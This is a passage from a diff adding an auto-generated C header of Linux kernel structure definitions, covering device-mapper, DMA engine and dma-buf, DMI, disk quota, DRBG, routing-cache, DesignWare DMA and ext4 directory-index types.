dm_io *next; + struct dm_stats_aux stats_aux; + blk_status_t status; + atomic_t io_count; + struct mapped_device *md; + struct bio *orig_bio; + unsigned int sector_offset; + unsigned int sectors; + struct dm_target_io tio; +}; + +struct dm_io_client { + mempool_t pool; + struct bio_set bios; +}; + +struct page_list; + +struct dm_io_memory { + enum dm_io_mem_type type; + unsigned int offset; + union { + struct page_list *pl; + struct bio *bio; + void *vma; + void *addr; + } ptr; +}; + +typedef void (*io_notify_fn)(unsigned long, void *); + +struct dm_io_notify { + io_notify_fn fn; + void *context; +}; + +struct dm_io_region { + struct block_device *bdev; + sector_t sector; + sector_t count; +}; + +struct dm_io_request { + blk_opf_t bi_opf; + struct dm_io_memory mem; + struct dm_io_notify notify; + struct dm_io_client *client; +}; + +struct dm_ioctl { + __u32 version[3]; + __u32 data_size; + __u32 data_start; + __u32 target_count; + __s32 open_count; + __u32 flags; + __u32 event_nr; + __u32 padding; + __u64 dev; + char name[128]; + char uuid[129]; + char data[7]; +}; + +struct dm_kcopyd_throttle; + +struct dm_kcopyd_client { + struct page_list *pages; + unsigned int nr_reserved_pages; + unsigned int nr_free_pages; + unsigned int sub_job_size; + struct dm_io_client *io_client; + wait_queue_head_t destroyq; + mempool_t job_pool; + struct workqueue_struct *kcopyd_wq; + struct work_struct kcopyd_work; + struct dm_kcopyd_throttle *throttle; + atomic_t nr_jobs; + spinlock_t job_lock; + struct list_head callback_jobs; + struct list_head complete_jobs; + struct list_head io_jobs; + struct list_head pages_jobs; +}; + +struct dm_kcopyd_throttle { + unsigned int throttle; + unsigned int num_io_jobs; + unsigned int io_period; + unsigned int total_period; + unsigned int last_jiffies; +}; + +struct dm_kobject_holder { + struct kobject kobj; + struct completion completion; +}; + +struct dm_md_mempools { + struct bio_set bs; + struct bio_set io_bs; +}; + +struct dm_name_list { + __u64 dev; + __u32 next; + char name[0]; +}; + +struct pr_keys; + +struct pr_held_reservation; + +struct dm_pr { + u64 old_key; + u64 new_key; + u32 flags; + bool abort; + bool fail_early; + int ret; + enum pr_type type; + struct pr_keys *read_keys; + struct pr_held_reservation *rsv; +}; + +struct dm_rq_target_io; + +struct dm_rq_clone_bio_info { + struct bio *orig; + struct dm_rq_target_io *tio; + struct bio clone; +}; + +struct kthread_work; + +typedef void (*kthread_work_func_t)(struct kthread_work *); + +struct kthread_worker; + +struct kthread_work { + struct list_head node; + kthread_work_func_t func; + struct kthread_worker *worker; + int canceling; +}; + +union map_info { + void *ptr; +}; + +struct dm_rq_target_io { + struct mapped_device *md; + struct dm_target *ti; + struct request *orig; + struct request *clone; + struct kthread_work work; + blk_status_t error; + union map_info info; + struct dm_stats_aux stats_aux; + unsigned long duration_jiffies; + unsigned int n_sectors; + unsigned int completed; +}; + +struct dm_stat_percpu { + unsigned long long sectors[2]; + unsigned long long ios[2]; + unsigned long long merges[2]; + unsigned long long ticks[2]; + unsigned long long io_ticks[2]; + unsigned long long io_ticks_total; + unsigned long long time_in_queue; + unsigned long long *histogram; +}; + +struct dm_stat_shared { + atomic_t in_flight[2]; + unsigned long long stamp; + struct dm_stat_percpu tmp; +}; + +struct dm_stat { + struct list_head list_entry; + int id; + unsigned int stat_flags; + size_t n_entries; + sector_t start; + sector_t end; + sector_t step; + unsigned int n_histogram_entries; + unsigned long long *histogram_boundaries; + const char *program_id; + const char *aux_data; + struct callback_head callback_head; + size_t shared_alloc_size; + size_t percpu_alloc_size; + size_t histogram_alloc_size; + struct dm_stat_percpu *stat_percpu[8192]; + struct dm_stat_shared stat_shared[0]; +}; + +struct dm_stats_last_position; + +struct dm_stats { + struct mutex mutex; + struct list_head list; + struct dm_stats_last_position __attribute__((btf_type_tag("percpu"))) *last; + bool precise_timestamps; +}; + +struct dm_stats_last_position { + sector_t last_sector; + unsigned int last_rw; +}; + +struct dm_sysfs_attr { + struct attribute attr; + ssize_t (*show)(struct mapped_device *, char *); + ssize_t (*store)(struct mapped_device *, const char *, size_t); +}; + +struct target_type; + +struct dm_table { + struct mapped_device *md; + enum dm_queue_mode type; + unsigned int depth; + unsigned int counts[16]; + sector_t *index[16]; + unsigned int num_targets; + unsigned int num_allocated; + sector_t *highs; + struct dm_target *targets; + struct target_type *immutable_target_type; + bool integrity_supported: 1; + bool singleton: 1; + bool flush_bypasses_map: 1; + blk_mode_t mode; + struct list_head devices; + struct rw_semaphore devices_lock; + void (*event_fn)(void *); + void *event_context; + struct dm_md_mempools *mempools; +}; + +struct dm_target { + struct dm_table *table; + struct target_type *type; + sector_t begin; + sector_t len; + uint32_t max_io_len; + unsigned int num_flush_bios; + unsigned int num_discard_bios; + unsigned int num_secure_erase_bios; + unsigned int num_write_zeroes_bios; + unsigned int per_io_data_size; + void *private; + char *error; + bool flush_supported: 1; + bool discards_supported: 1; + bool zone_reset_all_supported: 1; + bool max_discard_granularity: 1; + bool limit_swap_bios: 1; + bool emulate_zone_append: 1; + bool accounts_remapped_io: 1; + bool needs_bio_set_dev: 1; + bool flush_bypasses_map: 1; + bool mempool_needs_integrity: 1; +}; + +struct dm_target_deps { + __u32 count; + __u32 padding; + __u64 dev[0]; +}; + +struct dm_target_msg { + __u64 sector; + char message[0]; +}; + +struct dm_target_spec { + __u64 sector_start; + __u64 length; + __s32 status; + __u32 next; + char target_type[16]; +}; + +struct dm_target_versions { + __u32 next; + __u32 version[3]; + char name[0]; +}; + +struct kobj_uevent_env { + char *argv[3]; + char *envp[64]; + int envp_idx; + char buf[2048]; + int buflen; +}; + +struct dm_uevent { + struct mapped_device *md; + enum kobject_action action; + struct kobj_uevent_env ku_env; + struct list_head elist; + char name[128]; + char uuid[129]; +}; + +struct dmaengine_result; + +typedef void (*dma_async_tx_callback_result)(void *, const struct dmaengine_result *); + +struct dma_chan; + +struct dmaengine_unmap_data; + +struct dma_descriptor_metadata_ops; + +struct dma_async_tx_descriptor { + dma_cookie_t cookie; + enum dma_ctrl_flags flags; + dma_addr_t phys; + struct dma_chan *chan; + dma_cookie_t (*tx_submit)(struct dma_async_tx_descriptor *); + int (*desc_free)(struct dma_async_tx_descriptor *); + dma_async_tx_callback callback; + dma_async_tx_callback_result callback_result; + void *callback_param; + struct dmaengine_unmap_data *unmap; + enum dma_desc_metadata_mode desc_metadata_mode; + struct dma_descriptor_metadata_ops *metadata_ops; +}; + +struct dma_block { + struct dma_block *next_block; + dma_addr_t dma; +}; + +struct iosys_map { + union { + void *vaddr_iomem; + void *vaddr; + }; + bool is_iomem; +}; + +struct dma_buf_poll_cb_t { + struct dma_fence_cb cb; + wait_queue_head_t *poll; + __poll_t active; +}; + +struct dma_buf_ops; + +struct dma_resv; + +struct dma_buf { + size_t size; + struct file *file; + struct list_head attachments; + const struct dma_buf_ops *ops; + unsigned int vmapping_counter; + struct iosys_map vmap_ptr; + const char *exp_name; + const char *name; + spinlock_t name_lock; + struct module *owner; + struct list_head list_node; + void *priv; + struct dma_resv *resv; + wait_queue_head_t poll; + struct dma_buf_poll_cb_t cb_in; + struct dma_buf_poll_cb_t cb_out; +}; + +struct dma_buf_attachment; + +struct dma_buf_attach_ops { + bool allow_peer2peer; + void (*move_notify)(struct dma_buf_attachment *); +}; + +struct sg_table; + +struct dma_buf_attachment { + struct dma_buf *dmabuf; + struct device *dev; + struct list_head node; + struct sg_table *sgt; + enum dma_data_direction dir; + bool peer2peer; + const struct dma_buf_attach_ops *importer_ops; + void *importer_priv; + void *priv; +}; + +struct dma_buf_export_info { + const char *exp_name; + struct module *owner; + const struct dma_buf_ops *ops; + size_t size; + int flags; + struct dma_resv *resv; + void *priv; +}; + +struct dma_buf_export_sync_file { + __u32 flags; + __s32 fd; +}; + +struct dma_buf_import_sync_file { + __u32 flags; + __s32 fd; +}; + +struct dma_buf_ops { + bool cache_sgt_mapping; + int (*attach)(struct dma_buf *, struct dma_buf_attachment *); + void (*detach)(struct dma_buf *, struct dma_buf_attachment *); + int (*pin)(struct dma_buf_attachment *); + void (*unpin)(struct dma_buf_attachment *); + struct sg_table * (*map_dma_buf)(struct dma_buf_attachment *, enum dma_data_direction); + void (*unmap_dma_buf)(struct dma_buf_attachment *, struct sg_table *, enum dma_data_direction); + void (*release)(struct dma_buf *); + int (*begin_cpu_access)(struct dma_buf *, enum dma_data_direction); + int (*end_cpu_access)(struct dma_buf *, enum dma_data_direction); + int (*mmap)(struct dma_buf *, struct vm_area_struct *); + int (*vmap)(struct dma_buf *, struct iosys_map *); + void (*vunmap)(struct dma_buf *, struct iosys_map *); +}; + +struct dma_buf_sync { + __u64 flags; +}; + +struct dma_chan___2 { + int lock; + const char *device_id; +}; + +struct dma_device; + +struct dma_chan_dev; + +struct dma_chan_percpu; + +struct dma_router; + +struct dma_chan { + struct dma_device *device; + struct device *slave; + dma_cookie_t cookie; + dma_cookie_t completed_cookie; + int chan_id; + struct dma_chan_dev *dev; + const char *name; + char *dbg_client_name; + struct list_head device_node; + struct dma_chan_percpu __attribute__((btf_type_tag("percpu"))) *local; + int client_count; + int table_count; + struct dma_router *router; + void *route_data; + void *private; +}; + +struct dma_chan_dev { + struct dma_chan *chan; + struct device device; + int dev_id; + bool chan_dma_dev; +}; + +struct dma_chan_percpu { + unsigned long memcpy_count; + unsigned long bytes_transferred; +}; + +struct dma_descriptor_metadata_ops { + int (*attach)(struct dma_async_tx_descriptor *, void *, size_t); + void * (*get_ptr)(struct dma_async_tx_descriptor *, size_t *, size_t *); + int (*set_len)(struct dma_async_tx_descriptor *, size_t); +}; + +typedef bool (*dma_filter_fn)(struct dma_chan *, void *); + +struct dma_slave_map; + +struct dma_filter { + dma_filter_fn fn; + int mapcnt; + const struct dma_slave_map *map; +}; + +struct dma_vec; + +struct dma_interleaved_template; + +struct dma_slave_caps; + +struct dma_slave_config; + +struct dma_tx_state; + +struct dma_device { + struct kref ref; + unsigned int chancnt; + unsigned int privatecnt; + struct list_head channels; + struct list_head global_node; + struct dma_filter filter; + dma_cap_mask_t cap_mask; + enum dma_desc_metadata_mode desc_metadata_modes; + unsigned short max_xor; + unsigned short max_pq; + enum dmaengine_alignment copy_align; + enum dmaengine_alignment xor_align; + enum dmaengine_alignment pq_align; + enum dmaengine_alignment fill_align; + int dev_id; + struct device *dev; + struct module *owner; + struct ida chan_ida; + u32 src_addr_widths; + u32 dst_addr_widths; + u32 directions; + u32 min_burst; + u32 max_burst; + u32 max_sg_burst; + bool descriptor_reuse; + enum dma_residue_granularity residue_granularity; + int (*device_alloc_chan_resources)(struct dma_chan *); + int (*device_router_config)(struct dma_chan *); + void (*device_free_chan_resources)(struct dma_chan *); + struct dma_async_tx_descriptor * (*device_prep_dma_memcpy)(struct dma_chan *, dma_addr_t, dma_addr_t, size_t, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_xor)(struct dma_chan *, dma_addr_t, dma_addr_t *, unsigned int, size_t, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_xor_val)(struct dma_chan *, dma_addr_t *, unsigned int, size_t, enum sum_check_flags *, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_pq)(struct dma_chan *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_pq_val)(struct dma_chan *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, enum sum_check_flags *, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_memset)(struct dma_chan *, dma_addr_t, int, size_t, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_memset_sg)(struct dma_chan *, struct scatterlist *, unsigned int, int, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_interrupt)(struct dma_chan *, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_peripheral_dma_vec)(struct dma_chan *, const struct dma_vec *, size_t, enum dma_transfer_direction, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_slave_sg)(struct dma_chan *, struct scatterlist *, unsigned int, enum dma_transfer_direction, unsigned long, void *); + struct dma_async_tx_descriptor * (*device_prep_dma_cyclic)(struct dma_chan *, dma_addr_t, size_t, size_t, enum dma_transfer_direction, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_interleaved_dma)(struct dma_chan *, struct dma_interleaved_template *, unsigned long); + struct dma_async_tx_descriptor * (*device_prep_dma_imm_data)(struct dma_chan *, dma_addr_t, u64, unsigned long); + void (*device_caps)(struct dma_chan *, struct dma_slave_caps *); + int (*device_config)(struct dma_chan *, struct dma_slave_config *); + int (*device_pause)(struct dma_chan *); + int (*device_resume)(struct dma_chan *); + int (*device_terminate_all)(struct dma_chan *); + void (*device_synchronize)(struct dma_chan *); + enum dma_status (*device_tx_status)(struct dma_chan *, dma_cookie_t, struct dma_tx_state *); + void (*device_issue_pending)(struct dma_chan *); + void (*device_release)(struct dma_device *); + void (*dbg_summary_show)(struct seq_file *, struct dma_device *); + struct dentry *dbg_dev_root; +}; + +struct dma_devres { + size_t size; + void *vaddr; + dma_addr_t dma_handle; + unsigned long attrs; +}; + +struct dma_fence_ops; + +struct dma_fence { + spinlock_t *lock; + const struct dma_fence_ops *ops; + union { + struct list_head cb_list; + ktime_t timestamp; + struct callback_head rcu; + }; + u64 context; + u64 seqno; + unsigned long flags; + struct kref refcount; + int error; +}; + +struct dma_fence_array; + +struct dma_fence_array_cb { + struct dma_fence_cb cb; + struct dma_fence_array *array; +}; + +struct dma_fence_array { + struct dma_fence base; + spinlock_t lock; + unsigned int num_fences; + atomic_t num_pending; + struct dma_fence **fences; + struct irq_work work; + struct dma_fence_array_cb callbacks[0]; +}; + +struct dma_fence_chain { + struct dma_fence base; + struct dma_fence __attribute__((btf_type_tag("rcu"))) *prev; + u64 prev_seqno; + struct dma_fence *fence; + union { + struct dma_fence_cb cb; + struct irq_work work; + }; + spinlock_t lock; +}; + +struct dma_fence_ops { + bool use_64bit_seqno; + const char * (*get_driver_name)(struct dma_fence *); + const char * (*get_timeline_name)(struct dma_fence *); + bool (*enable_signaling)(struct dma_fence *); + bool (*signaled)(struct dma_fence *); + long (*wait)(struct dma_fence *, bool, long); + void (*release)(struct dma_fence *); + void (*fence_value_str)(struct dma_fence *, char *, int); + void (*timeline_value_str)(struct dma_fence *, char *, int); + void (*set_deadline)(struct dma_fence *, ktime_t); +}; + +struct dma_fence_unwrap { + struct dma_fence *chain; + struct dma_fence *array; + unsigned int index; +}; + +struct dma_interleaved_template { + dma_addr_t src_start; + dma_addr_t dst_start; + enum dma_transfer_direction dir; + bool src_inc; + bool dst_inc; + bool src_sgl; + bool dst_sgl; + size_t numf; + size_t frame_size; + struct data_chunk sgl[0]; +}; + +struct dma_map_ops { + void * (*alloc)(struct device *, size_t, dma_addr_t *, gfp_t, unsigned long); + void (*free)(struct device *, size_t, void *, dma_addr_t, unsigned long); + struct page * (*alloc_pages_op)(struct device *, size_t, dma_addr_t *, enum dma_data_direction, gfp_t); + void (*free_pages)(struct device *, size_t, struct page *, dma_addr_t, enum dma_data_direction); + int (*mmap)(struct device *, struct vm_area_struct *, void *, dma_addr_t, size_t, unsigned long); + int (*get_sgtable)(struct device *, struct sg_table *, void *, dma_addr_t, size_t, unsigned long); + dma_addr_t (*map_page)(struct device *, struct page *, unsigned long, size_t, enum dma_data_direction, unsigned long); + void (*unmap_page)(struct device *, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + int (*map_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, unsigned long); + void (*unmap_sg)(struct device *, struct scatterlist *, int, enum dma_data_direction, unsigned long); + dma_addr_t (*map_resource)(struct device *, phys_addr_t, size_t, enum dma_data_direction, unsigned long); + void (*unmap_resource)(struct device *, dma_addr_t, size_t, enum dma_data_direction, unsigned long); + void (*sync_single_for_cpu)(struct device *, dma_addr_t, size_t, enum dma_data_direction); + void (*sync_single_for_device)(struct device *, dma_addr_t, size_t, enum dma_data_direction); + void (*sync_sg_for_cpu)(struct device *, struct scatterlist *, int, enum dma_data_direction); + void (*sync_sg_for_device)(struct device *, struct scatterlist *, int, enum dma_data_direction); + void (*cache_sync)(struct device *, void *, size_t, enum dma_data_direction); + int (*dma_supported)(struct device *, u64); + u64 (*get_required_mask)(struct device *); + size_t (*max_mapping_size)(struct device *); + size_t (*opt_mapping_size)(void); + unsigned long (*get_merge_boundary)(struct device *); +}; + +struct dma_page { + struct list_head page_list; + void *vaddr; + dma_addr_t dma; +}; + +struct dma_pool { + struct list_head page_list; + spinlock_t lock; + struct dma_block *next_block; + size_t nr_blocks; + size_t nr_active; + size_t nr_pages; + struct device *dev; + unsigned int size; + unsigned int allocation; + unsigned int boundary; + char name[32]; + struct list_head pools; +}; + +struct ww_acquire_ctx; + +struct ww_class; + +struct ww_mutex { + struct mutex base; + struct ww_acquire_ctx *ctx; + struct ww_class *ww_class; +}; + +struct dma_resv_list; + +struct dma_resv { + struct ww_mutex lock; + struct dma_resv_list __attribute__((btf_type_tag("rcu"))) *fences; +}; + +struct dma_resv_iter { + struct dma_resv *obj; + enum dma_resv_usage usage; + struct dma_fence *fence; + enum dma_resv_usage fence_usage; + unsigned int index; + struct dma_resv_list *fences; + unsigned int num_fences; + bool is_restarted; +}; + +struct dma_resv_list { + struct callback_head rcu; + u32 num_fences; + u32 max_fences; + struct dma_fence __attribute__((btf_type_tag("rcu"))) *table[0]; +}; + +struct dma_router { + struct device *dev; + void (*route_free)(struct device *, void *); +}; + +struct dma_slave_caps { + u32 src_addr_widths; + u32 dst_addr_widths; + u32 directions; + u32 min_burst; + u32 max_burst; + u32 max_sg_burst; + bool cmd_pause; + bool cmd_resume; + bool cmd_terminate; + enum dma_residue_granularity residue_granularity; + bool descriptor_reuse; +}; + +struct dma_slave_config { + enum dma_transfer_direction direction; + phys_addr_t src_addr; + phys_addr_t dst_addr; + enum dma_slave_buswidth src_addr_width; + enum dma_slave_buswidth dst_addr_width; + u32 src_maxburst; + u32 dst_maxburst; + u32 src_port_window_size; + u32 dst_port_window_size; + bool device_fc; + void *peripheral_config; + size_t peripheral_size; +}; + +struct dma_slave_map { + const char *devname; + const char *slave; + void *param; +}; + +struct dma_tx_state { + dma_cookie_t last; + dma_cookie_t used; + u32 residue; + u32 in_flight_bytes; +}; + +struct dma_vec { + dma_addr_t addr; + size_t len; +}; + +struct dmabuf_cmsg { + __u64 frag_offset; + __u32 frag_size; + __u32 frag_token; + __u32 dmabuf_id; + __u32 flags; +}; + +struct net_iov; + +struct net_devmem_dmabuf_binding; + +struct dmabuf_genpool_chunk_owner { + unsigned long base_virtual; + dma_addr_t base_dma_addr; + struct net_iov *niovs; + size_t num_niovs; + struct net_devmem_dmabuf_binding *binding; +}; + +struct dmabuf_token { + __u32 token_start; + __u32 token_count; +}; + +struct dmaengine_result { + enum dmaengine_tx_result result; + u32 residue; +}; + +struct dmaengine_unmap_data { + u8 map_cnt; + u8 to_cnt; + u8 from_cnt; + u8 bidi_cnt; + struct device *dev; + struct kref kref; + size_t len; + dma_addr_t addr[0]; +}; + +struct dmi_device { + struct list_head list; + int type; + const char *name; + void *device_data; +}; + +struct dmi_dev_onboard { + struct dmi_device dev; + int instance; + int segment; + int bus; + int devfn; +}; + +struct dmi_device_attribute { + struct device_attribute dev_attr; + int field; +}; + +struct dmi_header { + u8 type; + u8 length; + u16 handle; +}; + +struct dmi_memdev_info { + const char *device; + const char *bank; + u64 size; + u16 handle; + u8 type; +}; + +struct dmi_onboard_device_info { + const char *name; + u8 type; + unsigned short i2c_addr; + const char *i2c_type; +}; + +struct dmi_strmatch { + unsigned char slot: 7; + unsigned char exact_match: 1; + char substr[79]; +}; + +struct dmi_system_id { + int (*callback)(const struct dmi_system_id *); + const char *ident; + struct dmi_strmatch matches[4]; + void *driver_data; +}; + +struct fb_videomode; + +struct dmt_videomode { + u32 dmt_id; + u32 std_2byte_code; + u32 cvt_3byte_code; + const struct fb_videomode *mode; +}; + +struct fsnotify_group; + +struct fsnotify_mark { + __u32 mask; + refcount_t refcnt; + struct fsnotify_group *group; + struct list_head g_list; + spinlock_t lock; + struct hlist_node obj_list; + struct fsnotify_mark_connector *connector; + __u32 ignore_mask; + unsigned int flags; +}; + +struct dnotify_struct; + +struct dnotify_mark { + struct fsnotify_mark fsn_mark; + struct dnotify_struct *dn; +}; + +typedef void *fl_owner_t; + +struct dnotify_struct { + struct dnotify_struct *dn_next; + __u32 dn_mask; + int dn_fd; + struct file *dn_filp; + fl_owner_t dn_owner; +}; + +struct do_proc_dointvec_minmax_conv_param { + int *min; + int *max; +}; + +struct do_proc_douintvec_minmax_conv_param { + unsigned int *min; + unsigned int *max; +}; + +struct dpages { + void (*get_page)(struct dpages *, struct page **, unsigned long *, unsigned int *); + void (*next_page)(struct dpages *); + union { + unsigned int context_u; + struct bvec_iter context_bi; + }; + void *context_ptr; + void *vma_invalidate_address; + unsigned long vma_invalidate_size; +}; + +struct dpk_cfg_pair { + u32 addr; + u32 bitmask; + u32 data; +}; + +struct dql { + unsigned int num_queued; + unsigned int adj_limit; + unsigned int last_obj_cnt; + unsigned short stall_thrs; + unsigned long history_head; + unsigned long history[4]; + long: 64; + unsigned int limit; + unsigned int num_completed; + unsigned int prev_ovlimit; + unsigned int prev_num_queued; + unsigned int prev_last_obj_cnt; + unsigned int lowest_slack; + unsigned long slack_start_time; + unsigned int max_limit; + unsigned int min_limit; + unsigned int slack_hold_time; + unsigned short stall_max; + unsigned long last_reap; + unsigned long stall_cnt; +}; + +struct kqid { + union { + kuid_t uid; + kgid_t gid; + kprojid_t projid; + }; + enum quota_type type; +}; + +struct mem_dqblk { + qsize_t dqb_bhardlimit; + qsize_t dqb_bsoftlimit; + qsize_t dqb_curspace; + qsize_t dqb_rsvspace; + qsize_t dqb_ihardlimit; + qsize_t dqb_isoftlimit; + qsize_t dqb_curinodes; + time64_t dqb_btime; + time64_t dqb_itime; +}; + +struct dquot { + struct hlist_node dq_hash; + struct list_head dq_inuse; + struct list_head dq_free; + struct list_head dq_dirty; + struct mutex dq_lock; + spinlock_t dq_dqb_lock; + atomic_t dq_count; + struct super_block *dq_sb; + struct kqid dq_id; + loff_t dq_off; + unsigned long dq_flags; + struct mem_dqblk dq_dqb; +}; + +struct dquot_operations { + int (*write_dquot)(struct dquot *); + struct dquot * (*alloc_dquot)(struct super_block *, int); + void (*destroy_dquot)(struct dquot *); + int (*acquire_dquot)(struct dquot *); + int (*release_dquot)(struct dquot *); + int (*mark_dirty)(struct dquot *); + int (*write_info)(struct super_block *, int); + qsize_t * (*get_reserved_space)(struct inode *); + int (*get_projid)(struct inode *, kprojid_t *); + int (*get_inode_usage)(struct inode *, qsize_t *); + int (*get_next_id)(struct super_block *, struct kqid *); +}; + +struct drbg_core { + drbg_flag_t flags; + __u8 statelen; + __u8 blocklen_bytes; + char cra_name[128]; + char backend_cra_name[128]; +}; + +struct drbg_string { + const unsigned char *buf; + size_t len; + struct list_head list; +}; + +struct drbg_state_ops; + +struct drbg_state { + struct mutex drbg_mutex; + unsigned char *V; + unsigned char *Vbuf; + unsigned char *C; + unsigned char *Cbuf; + size_t reseed_ctr; + size_t reseed_threshold; + unsigned char *scratchpad; + unsigned char *scratchpadbuf; + void *priv_data; + struct crypto_skcipher *ctr_handle; + struct skcipher_request *ctr_req; + __u8 *outscratchpadbuf; + __u8 *outscratchpad; + struct crypto_wait ctr_wait; + struct scatterlist sg_in; + struct scatterlist sg_out; + enum drbg_seed_state seeded; + unsigned long last_seed_time; + bool pr; + bool fips_primed; + unsigned char *prev; + struct crypto_rng *jent; + const struct drbg_state_ops *d_ops; + const struct drbg_core *core; + struct drbg_string test_data; +}; + +struct drbg_state_ops { + int (*update)(struct drbg_state *, struct list_head *, int); + int (*generate)(struct drbg_state *, unsigned char *, unsigned int, struct list_head *); + int (*crypto_init)(struct drbg_state *); + int (*crypto_fini)(struct drbg_state *); +}; + +struct driver_attribute { + struct attribute attr; + ssize_t (*show)(struct device_driver *, char *); + ssize_t (*store)(struct device_driver *, const char *, size_t); +}; + +struct module_kobject; + +struct driver_private { + struct kobject kobj; + struct klist klist_devices; + struct klist_node knode_bus; + struct module_kobject *mkobj; + struct device_driver *driver; +}; + +struct drm_dmi_panel_orientation_data { + int width; + int height; + const char * const *bios_dates; + int orientation; +}; + +struct drop_reason_list { + const char * const *reasons; + size_t n_reasons; +}; + +struct drv_cmd { + struct acpi_pct_register *reg; + u32 val; + union { + void (*write)(struct acpi_pct_register *, u32); + u32 (*read)(struct acpi_pct_register *); + } func; +}; + +struct pci_driver; + +struct pci_device_id; + +struct drv_dev_and_id { + struct pci_driver *drv; + struct pci_dev *dev; + const struct pci_device_id *id; +}; + +struct dst_cache_pcpu; + +struct dst_cache { + struct dst_cache_pcpu __attribute__((btf_type_tag("percpu"))) *cache; + unsigned long reset_ts; +}; + +struct dst_cache_pcpu { + unsigned long refresh_ts; + struct dst_entry *dst; + u32 cookie; + union { + struct in_addr in_saddr; + struct in6_addr in6_saddr; + }; +}; + +struct dst_ops; + +struct uncached_list; + +struct lwtunnel_state; + +struct dst_entry { + struct net_device *dev; + struct dst_ops *ops; + unsigned long _metrics; + unsigned long expires; + void *__pad1; + int (*input)(struct sk_buff *); + int (*output)(struct net *, struct sock *, struct sk_buff *); + unsigned short flags; + short obsolete; + unsigned short header_len; + unsigned short trailer_len; + rcuref_t __rcuref; + int __use; + unsigned long lastuse; + struct callback_head callback_head; + short error; + short __pad; + __u32 tclassid; + netdevice_tracker dev_tracker; + struct list_head rt_uncached; + struct uncached_list *rt_uncached_list; + struct lwtunnel_state *lwtstate; +}; + +struct dst_metrics { + u32 metrics[17]; + refcount_t refcnt; +}; + +struct neighbour; + +struct dst_ops { + unsigned short family; + unsigned int gc_thresh; + void (*gc)(struct dst_ops *); + struct dst_entry * (*check)(struct dst_entry *, __u32); + unsigned int (*default_advmss)(const struct dst_entry *); + unsigned int (*mtu)(const struct dst_entry *); + u32 * (*cow_metrics)(struct dst_entry *, unsigned long); + void (*destroy)(struct dst_entry *); + void (*ifdown)(struct dst_entry *, struct net_device *); + void (*negative_advice)(struct sock *, struct dst_entry *); + void (*link_failure)(struct sk_buff *); + void (*update_pmtu)(struct dst_entry *, struct sock *, struct sk_buff *, u32, bool); + void (*redirect)(struct dst_entry *, struct sock *, struct sk_buff *); + int (*local_out)(struct net *, struct sock *, struct sk_buff *); + struct neighbour * (*neigh_lookup)(const struct dst_entry *, struct sk_buff *, const void *); + void (*confirm_neigh)(const struct dst_entry *, const void *); + struct kmem_cache *kmem_cachep; + struct percpu_counter pcpuc_entries; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct uart_8250_port; + +struct uart_8250_dma { + int (*tx_dma)(struct uart_8250_port *); + int (*rx_dma)(struct uart_8250_port *); + void (*prepare_tx_dma)(struct uart_8250_port *); + void (*prepare_rx_dma)(struct uart_8250_port *); + dma_filter_fn fn; + void *rx_param; + void *tx_param; + struct dma_slave_config rxconf; + struct dma_slave_config txconf; + struct dma_chan *rxchan; + struct dma_chan *txchan; + phys_addr_t rx_dma_addr; + phys_addr_t tx_dma_addr; + dma_addr_t rx_addr; + dma_addr_t tx_addr; + dma_cookie_t rx_cookie; + dma_cookie_t tx_cookie; + void *rx_buf; + size_t rx_size; + size_t tx_size; + unsigned char tx_running; + unsigned char tx_err; + unsigned char rx_running; +}; + +struct dw8250_port_data { + int line; + struct uart_8250_dma dma; + u32 cpr_value; + u8 dlf_size; + bool hw_rs485_support; +}; + +struct dw_dma; + +struct dw_dma_platform_data; + +struct dw_dma_chip { + struct device *dev; + int id; + int irq; + void *regs; + struct clk *clk; + struct dw_dma *dw; + const struct dw_dma_platform_data *pdata; +}; + +struct dw_dma_platform_data { + u32 nr_masters; + u32 nr_channels; + u32 chan_allocation_order; + u32 chan_priority; + u32 block_size; + u32 data_width[4]; + u32 multi_block[8]; + u32 max_burst[8]; + u32 protctl; + u32 quirks; +}; + +struct dw_dma_slave { + struct device *dma_dev; + u8 src_id; + u8 dst_id; + u8 m_master; + u8 p_master; + u8 channels; + bool hs_polarity; +}; + +struct dx_countlimit { + __le16 limit; + __le16 count; +}; + +struct dx_entry { + __le32 hash; + __le32 block; +}; + +struct dx_frame { + struct buffer_head *bh; + struct dx_entry *entries; + struct dx_entry *at; +}; + +struct dx_hash_info { + u32 hash; + u32 minor_hash; + int hash_version; + u32 *seed; +}; + +struct dx_map_entry { + u32 hash; + u16 offs; + u16 size; +}; + +struct fake_dirent { + __le32 inode; + __le16 rec_len; + u8 name_len; + u8 file_type; +}; + +struct dx_node { + struct fake_dirent fake; + struct dx_entry entries[0]; +}; + +struct dx_root_info { + __le32 reserved_zero; + u8 hash_version; + u8 info_length; + u8 indirect_levels; + u8 unused_flags; +}; + +struct dx_root { + struct fake_dirent dot; + char dot_name[4]; + struct fake_dirent dotdot; + char dotdot_name[4]; + struct dx_root_info info; + struct dx_entry entries[0]; +}; + +struct dx_tail { + u32 dt_reserved; + __le32 dt_checksum; +}; + +struct dyn_arch_ftrace {}; + +struct dyn_event_operations; + +struct dyn_event { + struct list_head list; + struct dyn_event_operations *ops; +}; + +struct dyn_event_operations { + struct list_head list; + int (*create)(const char *); + int (*show)(struct seq_file *, struct dyn_event *); + bool (*is_busy)(struct dyn_event *); + int (*free)(struct dyn_event *); + bool (*match)(const char *, const char *, int, const char **, struct dyn_event *); +}; + +struct dyn_ftrace { + unsigned long ip; + unsigned long flags; + struct dyn_arch_ftrace arch; +}; + +struct dynevent_arg { + const char *str; + char separator; +}; + +struct dynevent_arg_pair { + const char *lhs; + const char *rhs; + char operator; + char separator; +}; + +struct seq_buf { + char *buffer; + size_t size; + size_t len; +}; + +struct dynevent_cmd; + +typedef int (*dynevent_create_fn_t)(struct dynevent_cmd *); + +struct dynevent_cmd { + struct seq_buf seq; + const char *event_name; + unsigned int n_fields; + enum 